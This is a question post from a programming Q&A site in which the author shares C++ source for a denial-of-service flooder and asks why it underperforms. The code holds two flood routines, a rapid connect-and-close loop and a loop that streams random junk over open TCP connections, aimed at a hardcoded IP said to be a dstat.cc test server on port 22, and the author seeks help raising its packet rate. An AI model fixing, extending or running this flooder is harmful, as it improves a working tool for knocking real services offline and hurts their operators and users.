I’m trying to flood a server placed on dstat.cc, but it doesn’t work as i expected.
Here’s the code
#include <iostream>
#include <thread>
#include <vector>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <csignal>
#include <cstring>
std::string dest_ip;
unsigned int dest_port;
unsigned int junk_length = 5;
unsigned int thread_count = 1;
sockaddr_in dest;
timeval timeout;
std::string alphanum = "0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
int alphanum_size = alphanum.length();
// helpers
std::string rand_str(int length)
{
std::string result;
for (int i = 0; i < length; i++) result += alphanum[rand() % (alphanum_size - 1)];
return result;
}
/* ------------------------- flood methods ------------------------- */
// ------- //
// do not require special privileges
void syn_flood()
{
while (true)
{
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sockfd < 0) std::cerr << "nSocket creation error. Errno: " << errno;
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
int connection_status = connect(sockfd, (sockaddr*) &dest, sizeof(dest));
close(sockfd);
}
}
// ------- //
void tcp_flood()
{
while (true)
{
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
int connection_status = connect(sockfd, (sockaddr*) &dest, sizeof(dest));
if (connection_status == 0)
{
while (true)
{
std::string junk = rand_str(junk_length);
send(sockfd, junk.c_str(), junk.length(), 0);
}
}
else
{
close(sockfd);
std::cout << "Connection error. Errno: " << errno;
exit(1);
}
}
}
// ------- //
/* ----------------------------------------------------------------- */
int main(int argc, char* argv[])
{
/* startup */
dest_ip = "168.119.255.140"; // dstat.cc Live Layer 4 - Protected - Hetzner - 1 IP
dest_port = 22; // target TCP port.
dest.sin_family = AF_INET;
dest.sin_port = htons(dest_port);
inet_pton(AF_INET, dest_ip.c_str(), &dest.sin_addr);
// timeout.tv_sec = 0; setting minimal timeout for syn_flood function
// timeout.tv_usec = 1;
// syn_flood();
tcp_flood();
return 0;
}
the syn_flood
works fine and generates 1k packets per second on the graph. But the tcp_flood
generates practically nothing. I mean, it generates 30 packets per second or something but it’s really weird because I have a normal network connection.
Before this, I tried other tools (including my own written on C#), and flood like this worked fine.
Also, the problem occurs whenever i try to send raw tcp packet with raw socket. It just don’t show up on the graph in dstat.cc.
What even is the problem?
Debug is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.